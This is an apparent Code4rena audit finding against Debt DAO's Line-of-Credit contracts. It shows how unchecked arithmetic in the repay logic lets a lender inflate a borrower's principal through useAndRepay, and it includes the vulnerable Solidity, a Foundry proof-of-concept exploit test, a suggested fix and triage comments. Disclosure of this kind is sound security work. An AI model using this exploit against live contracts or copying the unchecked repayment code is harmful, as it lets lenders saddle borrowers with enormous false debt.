Borrower debt can be increased to huge number due to overflow error

[code423n4]

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/SpigotedLine.sol#L137-L151
https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/utils/CreditLib.sol#L168-L195

Vulnerability details

Impact

Borrower debt can be increased due to overflow error. Malicious lender or borrower by mistake can increase debt of borrower to very huge amount.

Proof of Concept

SpigotedLine.useAndRepay function allows to repay credit using unsued amount of credit tokens that is controlled by SpigotedLine.

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/SpigotedLine.sol#L137-L151

    function useAndRepay(uint256 amount) external whileBorrowing returns(bool) {
      bytes32 id = ids[0];
      Credit memory credit = credits[id];
      if (msg.sender != borrower && msg.sender != credit.lender) {
        revert CallerAccessDenied();
      }
      require(amount <= unusedTokens[credit.token]);
      unusedTokens[credit.token] -= amount;


      credits[id] = _repay(_accrue(credit, id), id, amount);


      emit RevenuePayment(credit.token, amount);


      return true;
    }

Note, that there is no any check that amount provided by caller is less or equal to credit.principal + credit.interests.
That means that borrower or lender can provide it by mistake or maliciously.
Then function LineOfCredit._repay will be called that will just pass amount to the CreditLib.repay.

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/utils/CreditLib.sol#L168-L195

  function repay(
    ILineOfCredit.Credit memory credit,
    bytes32 id,
    uint256 amount
  )
    external
    returns (ILineOfCredit.Credit memory)
  { unchecked {
      if (amount <= credit.interestAccrued) {
          credit.interestAccrued -= amount;
          credit.interestRepaid += amount;
          emit RepayInterest(id, amount);
          return credit;
      } else {
          uint256 interest = credit.interestAccrued;
          uint256 principalPayment = amount - interest;


          // update individual credit line denominated in token
          credit.principal -= principalPayment;
          credit.interestRepaid += interest;
          credit.interestAccrued = 0;


          emit RepayInterest(id, interest);
          emit RepayPrincipal(id, principalPayment);


          return credit;
      }
  } }

As you can see this function uses unchecked for calculation. That's why in case when the provided value is bigger than credit.principal + credit.interestAccrued we will have overflow here.

As a result now, users debt became super big, while it should be 0.

How this can be used? First of all by lender. He can call this function and provide needed amount for overflow. But there is one condition that should be met. Unused amount of tokens should be bigger then credit.principal + credit.interestAccrued.

This is the test that will show how it works. Copy it to SpigotedLine.t.sol.

function test_principal_become_very_huge() public {
      deal(address(lender), lentAmount + 1 ether);
      deal(address(revenueToken), MAX_REVENUE);
      address revenueC = address(0xbeef); // need new spigot for testing
      bytes32 id = _createCredit(address(revenueToken), Denominations.ETH, revenueC);
      _borrow(id, lentAmount);

      uint256 principal;
      uint256 interestAccrued;
      (, principal, interestAccrued,,,,) = line.credits(line.ids(0));
      //amount is bigger than principal and interestAccrued to make oferflow
      uint256 amountThatShouldBeUnused = principal + interestAccrued + 1;
      bytes memory tradeData = abi.encodeWithSignature(
        'trade(address,address,uint256,uint256)',
        address(revenueToken),
        Denominations.ETH,
        1 gwei,
        amountThatShouldBeUnused
      );

      hoax(borrower);
      line.claimAndTrade(address(revenueToken), tradeData);
      uint256 unusedAmount = line.unused(address(revenueToken));
      //unused amount should be bigger then amount we provide to useAndRepay
      console.log("unused:", unusedAmount);

      (, principal, interestAccrued,,,,) = line.credits(line.ids(0));
      //now principal is lentAmount
      console.log("principal:", principal);
      console.log("interest:", interestAccrued);

      vm.prank(lender); // prank lender
      
      //here is the attack
      line.useAndRepay(amountThatShouldBeUnused);

      (, principal, interestAccrued,,,,) = line.credits(line.ids(0));
      //principal is too big now
      console.log("princ:", principal);
      console.log("interest:", interestAccrued);
    }

Tools Used

VsCode

Recommended Mitigation Steps

Do not pass amount that is bigger than credit.principal + credit.interestAccrued to _repay function.

[c4-judge]

dmvt marked the issue as primary issue

[c4-sponsor]

kibagateaux marked the issue as sponsor confirmed

[c4-judge]

dmvt marked the issue as satisfactory

[C4-Staff]

liveactionllama marked the issue as duplicate of #461